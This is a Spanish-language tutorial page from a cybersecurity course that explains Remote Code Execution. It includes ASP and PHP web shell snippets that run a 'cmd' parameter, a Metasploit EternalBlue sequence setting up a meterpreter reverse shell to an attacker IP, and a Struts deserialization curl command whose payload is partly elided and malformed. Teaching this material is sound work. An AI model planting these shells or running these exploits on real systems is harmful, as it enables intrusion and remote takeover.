> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/fundamentos-en-vulnerabilidades/rce-remote-code-execution.md).

# RCE (Remote Code Execution)

La Ejecución Remota de Código (RCE, por sus siglas en inglés) es una vulnerabilidad crítica que permite a un atacante ejecutar comandos arbitrarios o código en una máquina remota. Esta vulnerabilidad puede surgir debido a errores de programación, malas configuraciones de seguridad, o la explotación de funciones mal implementadas en el software. RCE es una de las vulnerabilidades más peligrosas porque puede llevar al compromiso total del sistema afectado.

## <mark style="color:green;">¿Cómo Funciona RCE?</mark>

RCE ocurre cuando un atacante puede enviar datos a una aplicación vulnerable y lograr que esos datos se interpreten como código ejecutable. Esto puede ser a través de diversas vías como aplicaciones web, servicios de red, aplicaciones de escritorio, etc.

## <mark style="color:green;">RCE en Windows</mark>

### <mark style="color:green;">**Métodos Comunes de Explotación**</mark>

1. <mark style="color:green;">**Inyección de Comandos en Aplicaciones Web**</mark><mark style="color:green;">:</mark> Las aplicaciones web mal configuradas o que no sanitizan correctamente las entradas del usuario pueden ser vulnerables a la inyección de comandos. Por ejemplo, si una aplicación pasa parámetros directamente a la línea de comandos sin validación adecuada.

   **Ejemplo:**

   ```aspnet
   <%
   Dim cmd
   cmd = Request("cmd")
   Set shell = Server.CreateObject("WScript.Shell")
   shell.Run cmd
   %>
   ```

   Si el usuario accede a `http://victima.com/page.asp?cmd=calc.exe`, esto ejecutará `calc.exe` en el servidor.
2. <mark style="color:green;">**Vulnerabilidades en Servicios de Red**</mark><mark style="color:green;">:</mark> Los servicios de red como SMB, RDP, y otros pueden tener vulnerabilidades que permiten la ejecución remota de código. Un ejemplo famoso es la vulnerabilidad EternalBlue que explotó el protocolo SMBv1.
3. <mark style="color:green;">**Exploit de Binarios**</mark><mark style="color:green;">:</mark> Los binarios vulnerables, especialmente aquellos con permisos elevados, pueden ser explotados para ejecutar código arbitrario. Esto puede incluir aplicaciones que procesan archivos de entrada o que interactúan con otras aplicaciones sin las debidas restricciones de seguridad.

### <mark style="color:green;">**Ejemplo Práctico: EternalBlue**</mark>

EternalBlue explotó una vulnerabilidad en SMBv1 para ejecutar código arbitrario en máquinas Windows. Utilizando herramientas como Metasploit, un atacante podría ejecutar el siguiente módulo para explotar esta vulnerabilidad:

**Comandos de Metasploit:**

```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <IP de la víctima>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP del atacante>
exploit
```

## <mark style="color:green;">RCE en Linux</mark>

### <mark style="color:green;">**Métodos Comunes de Explotación**</mark>

1. <mark style="color:green;">**Inyección de Comandos en Aplicaciones Web**</mark><mark style="color:green;">:</mark> Similar a Windows, las aplicaciones web en Linux pueden ser vulnerables a la inyección de comandos si no sanitizan correctamente las entradas del usuario.

   **Ejemplo:**

   ```php
   <?php
   $cmd = $_GET['cmd'];
   system($cmd);
   ?>
   ```

   Accediendo a `http://victima.com/page.php?cmd=ls`, esto ejecutará el comando `ls` en el servidor.
2. <mark style="color:green;">**Servicios de Red**</mark><mark style="color:green;">:</mark> Servicios como SSH, FTP, y otros pueden ser explotados si tienen vulnerabilidades que permiten la ejecución remota de código. Por ejemplo, la vulnerabilidad en Apache Struts que permitía la ejecución de comandos arbitrarios a través de peticiones HTTP.
3. <mark style="color:green;">**Explotación de Binarios Setuid**</mark><mark style="color:green;">:</mark> Binarios con el bit setuid activado pueden ser explotados para obtener privilegios elevados y ejecutar código arbitrario. Un ejemplo clásico es la explotación de binarios que no manejan correctamente la entrada del usuario.

## <mark style="color:green;">**Ejemplo Práctico: Apache Struts**</mark>

La vulnerabilidad en Apache Struts permitió a los atacantes ejecutar comandos arbitrarios enviando peticiones HTTP maliciosas.

**Comando de Explotación:**

{% code overflow="wrap" %}

```bash
curl -v -X POST -H "Content-Type: application/xml" --data "<?xml version=\"1.0\" encoding=\"UTF-8\"?><map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class=\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"><_bytecodes><byte-array>...</byte-array></_bytecodes><_name>...</_name><_class>...</_class><_tfactory>...</_tfactory></value></entry><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class=\"java.lang.String\">calc</value></jdk.nashorn.internal.objects.NativeString></entry></map>" http://victima.com/struts2-showcase/employee/save
```

{% endcode %}

Este comando puede iniciar la calculadora en la máquina víctima si el servidor Apache Struts es vulnerable.
